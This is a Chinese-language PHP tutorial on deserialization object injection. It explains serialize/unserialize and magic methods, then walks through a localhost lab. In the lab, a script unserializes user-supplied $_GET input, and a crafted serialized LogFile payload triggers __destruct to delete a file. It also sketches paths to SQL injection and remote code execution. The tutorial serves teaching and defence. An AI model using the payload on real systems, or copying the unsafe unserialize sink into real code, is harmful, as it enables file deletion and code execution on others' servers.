首頁 >後端開發 >php教程 >php關於反序列化物件注入漏洞

php關於反序列化物件注入漏洞

小云云
小云云原創
2018-03-10 13:16:332759瀏覽


php物件注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用,但仍舊非常危險。本文主要和大家分享php關於反序列化物件注入漏洞詳解,希望能幫助大家。

分析

php基礎

serialize 把物件轉成字串形式,可以用來保存
unserialize 把serialize序列化後的字串變成一個物件

php類別可能會包含一些特殊的函數叫magic函數,magic函數命名是以符號__開頭的,
例如__construct, __destruct, __toString, __sleep, __wakeup等等。

這些函數在某些情況下會自動調用,例如
__construct當一個物件創建時被調用,
__destruct當一個物件銷毀時被調用,
__toString當一個物件被當作一個字串使用。

範例說明

舉例:

    <?php    

    class TestClass    
    {    
        public $variable = &#39;This is a string&#39;;    

        public function PrintVariable()    
        {    
            echo $this->variable . &#39;<br />&#39;;    
        }     

        public function __construct()    
        {    
            echo &#39;__construct <br />&#39;;    
        }      

        public function __destruct()    
        {    
            echo &#39;__destruct <br />&#39;;    
        }    

        public function __toString()    
        {    
            return &#39;__toString<br />&#39;;    
        }    
    }    

    $object = new TestClass();        
    $object->PrintVariable();    
    echo $object;      

    ?>

php關於反序列化物件注入漏洞

#php允許保存一個物件方便以後重複使用,這個過程稱為序列化。

為什麼要有序列化這種機制呢?
在傳遞變數的過程中,有可能遇到變數值要跨腳本檔案傳遞的過程。試想,如果為一個腳本中想要調用之前一個腳本的變量,但是前一個腳本已經執行完畢,所有的變量和內容釋放掉了,我們要如何操作呢?難道要前一個腳本不斷的循環,等待後面腳本呼叫?這肯定是不現實的。

serialize和unserialize就是用來解決這個問題的。 serialize可以將變數轉換為字串並且在轉換中可以保存目前變數的值;unserialize則可以將serialize產生的字串變換回變數。這樣在跨腳本傳輸和執行就完美解決了。

magic函數__construct和__destruct會在物件建立或銷毀時自動呼叫;
__sleep magic方法在一個物件被序列化的時候呼叫;
__wakeup magic方法在一個物件被反序列化的時候調用。

<?phpclass User    {    
    public $age = 0;    
    public $name = &#39;&#39;;  
    public function Printx()
    {
      echo $this->name.&#39; is &#39;.$this->age.&#39; years old.<br/>&#39;;
    }    public function __construct()    
    {    
        echo &#39;__construct<br />&#39;;    
    }    

    public function __destruct()    
    {    
        echo &#39;__destruct<br />&#39;;    
    }    

    public function __wakeup()    
    {    
        echo &#39;__wakeup<br />&#39;;    
    }    

    public function __sleep()    
    {    
        echo &#39;__sleep<br />&#39;;    

        return array(&#39;name&#39;, &#39;age&#39;);    
    }    
}$usr = new User(); 
$usr->age = 20;    
$usr->name = &#39;John&#39;;    
$usr->Printx();    
echo serialize($usr);echo &#39;<br/>&#39;;   

$str = &#39;O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}&#39;;  
$user2 = unserialize($str);$user2->Printx();?>

php關於反序列化物件注入漏洞

現在我們了解序列化是如何運作的,但是我們如何利用它呢?
有多種可能的方法,取決於應用程式、可用的類別和magic函數。

記住,序列化物件包含攻擊者控制的物件值。
你可能在網路應用程式原始碼中找到一個定義__wakeup或__destruct的類,這些函數會影響網路應用程式。

例如,我們可能會找到一個暫時將日誌儲存到檔案中的類別。當銷毀時物件可能不再需要日誌檔案並將其刪除。把下面這段程式碼儲存為log.php。

<?php     //log.php     class LogFile    {    
    // log文件名    

    public $filename = &#39;error.log&#39;;    

    // 储存日志文件    

    public function LogData($text)    
    {    
        echo &#39;Log some data: &#39; . $text . &#39;<br />&#39;;    
        file_put_contents($this->filename, $text, FILE_APPEND);    
    }    

    // 删除日志文件    

    public function __destruct()    
    {    
        echo &#39;__destruct deletes "&#39; . $this->filename . &#39;" file. <br />&#39;;    
        unlink(dirname(__FILE__) . &#39;/&#39; . $this->filename);    
    }    
}    

?>

test.php  假設這是給使用者的php。

    <?php    
    //test.php     
    include &#39;logfile.php&#39;;    

    // ... 一些使用LogFile类的代码...    

    // 简单的类定义    

    class User    
    {    
        // 类数据    

        public $age = 0;    
        public $name = &#39;&#39;;    

        // 输出数据    

        public function PrintData()    
        {    
            echo &#39;User &#39; . $this->name . &#39; is &#39; . $this->age . &#39; years old. <br />&#39;;    
        }    
    }    

    // 重建用户输入的数据    

    $usr = unserialize($_GET[&#39;usr_serialized&#39;]);    

    ?>

123.php

<?php    
    //123.php  
    include &#39;logfile.php&#39;;    

    $obj = new LogFile();    
    $obj->filename = &#39;1.php&#39;;    

    echo serialize($obj) . &#39;<br />&#39;;    

    ?>

開始有一個1.php:
php關於反序列化物件注入漏洞

現在使用者傳入一個序列化字串,test.php將其反序列化,

http://127.0.0.1/test.php?usr_serialized=

O:7:%22LogFile%22:1:{s:8: %22filename%22;s:5:%221.php%22;}

#結果,解析出來的對象,在釋放過程中,呼叫了log.php的__destruct( )函數,把檔案1.php給刪除了。

php關於反序列化物件注入漏洞

php關於反序列化物件注入漏洞

利用總結

#在變數可控並且進行了unserialize操作的地方注入序列化對象,實現程式碼執行或其它坑爹的行為。

先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞,一切都是取決於程式邏輯。
舉個例子,某用戶類別定義了一個__toString為了讓應用程式能夠將類別作為一個字串輸出(echo $obj),而且其他類別也可能定義了一個類別允許__toString讀取某個文件。


#也可以使用其他magic函數:
如果物件將呼叫一個不存在的函數__call將被呼叫;
如果物件試圖存取不存在的類別變數__get和_ _set將被呼叫。

但是利用這種漏洞並不限於magic函數,在普通的函數上也可以採取相同的思路。

例如User類別可能定義一個get方法來尋找和列印一些使用者數據,但其他類別可能定義一個從資料庫取得資料的get方法,這從而導致SQL注入漏洞。

set或write方法會將資料寫入任意文件,可以利用它來獲得遠端程式碼執行。

唯一的技術問題是注入點可用的類,但是一些框架或腳本具有自動載入的功能。最大的問題在於人:理解應用程式以能夠利用這種類型的漏洞,因為它可能需要大量的時間來閱讀和理解程式碼。

相關推薦:

PHP序列化和反序列化原理詳解

序列化和反序列化的詳細介紹

javascript實現json的序列化和反序列化功能範例

#

以上是php關於反序列化物件注入漏洞的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn